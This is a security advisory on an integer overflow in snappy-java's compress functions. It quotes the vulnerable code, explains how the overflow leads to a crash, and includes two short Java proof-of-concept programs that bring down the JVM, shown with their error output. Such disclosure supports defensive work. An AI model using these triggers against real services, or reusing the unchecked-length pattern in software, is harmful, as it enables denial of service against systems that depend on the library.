snappy-java's Integer Overflow vulnerability in compress leads to DoS

Summary

Due to unchecked multiplications, an integer overflow may occur, causing an unrecoverable fatal error.

Impact

Denial of Service

Description

The function compress(char[] input) in the file Snappy.java receives an array of characters and compresses it. It does so by multiplying the length by 2 and passing it to the rawCompress function.

public static byte[] compress(char[] input)
            throws IOException
    {
        return rawCompress(input, input.length * 2); // char uses 2 bytes
    }

Since the length is not tested, the multiplication by two can cause an integer overflow and become negative. The rawCompress function then uses the received length and passes it to the natively compiled maxCompressedLength function, using the returned value to allocate a byte array.

    public static byte[] rawCompress(Object data, int byteSize)
            throws IOException
    {
        byte[] buf = new byte[Snappy.maxCompressedLength(byteSize)];
        int compressedByteSize = impl.rawCompress(data, 0, byteSize, buf, 0);
        byte[] result = new byte[compressedByteSize];
        System.arraycopy(buf, 0, result, 0, compressedByteSize);
        return result;
    }

Since the maxCompressedLength function treats the length as an unsigned integer, it doesn’t care that it is negative, and it returns a valid value, which is casted to a signed integer by the Java engine. If the result is negative, a “java.lang.NegativeArraySizeException” exception will be raised while trying to allocate the array “buf”. On the other side, if the result is positive, the “buf” array will successfully be allocated, but its size might be too small to use for the compression, causing a fatal Access Violation error.
The same issue exists also when using the “compress” functions that receive double, float, int, long and short, each using a different multiplier that may cause the same issue. The issue most likely won’t occur when using a byte array, since creating a byte array of size 0x80000000 (or any other negative value) is impossible in the first place.

Steps To Reproduce

Compile and run the following code:

package org.example;
import org.xerial.snappy.Snappy;

import java.io.*;

public class Main {

    public static void main(String[] args) throws IOException {
        char[] uncompressed = new char[0x40000000];
        byte[] compressed = Snappy.compress(uncompressed);
    }
}

The program will crash, creating crashdumps and showing the following error (or similar):

#
# A fatal error has been detected by the Java Runtime Environment:
#
#  EXCEPTION_ACCESS_VIOLATION (0xc0000005) at pc=0x0000000063a01c20, pid=21164, tid=508
#
.......

Alternatively - compile and run the following code:

package org.example;
import org.xerial.snappy.Snappy;

import java.io.*;

public class Main {

    public static void main(String[] args) throws IOException {
        char[] uncompressed = new char[0x3fffffff];
        byte[] compressed = Snappy.compress(uncompressed);
    }
}

The program will crash with the following error (or similar), since the maxCompressedLength returns a value that is interpreted as negative by java:

Exception in thread "main" java.lang.NegativeArraySizeException: -1789569677
	at org.xerial.snappy.Snappy.rawCompress(Snappy.java:425)
	at org.xerial.snappy.Snappy.compress(Snappy.java:172)
	at org.example.Main.main(Main.java:10)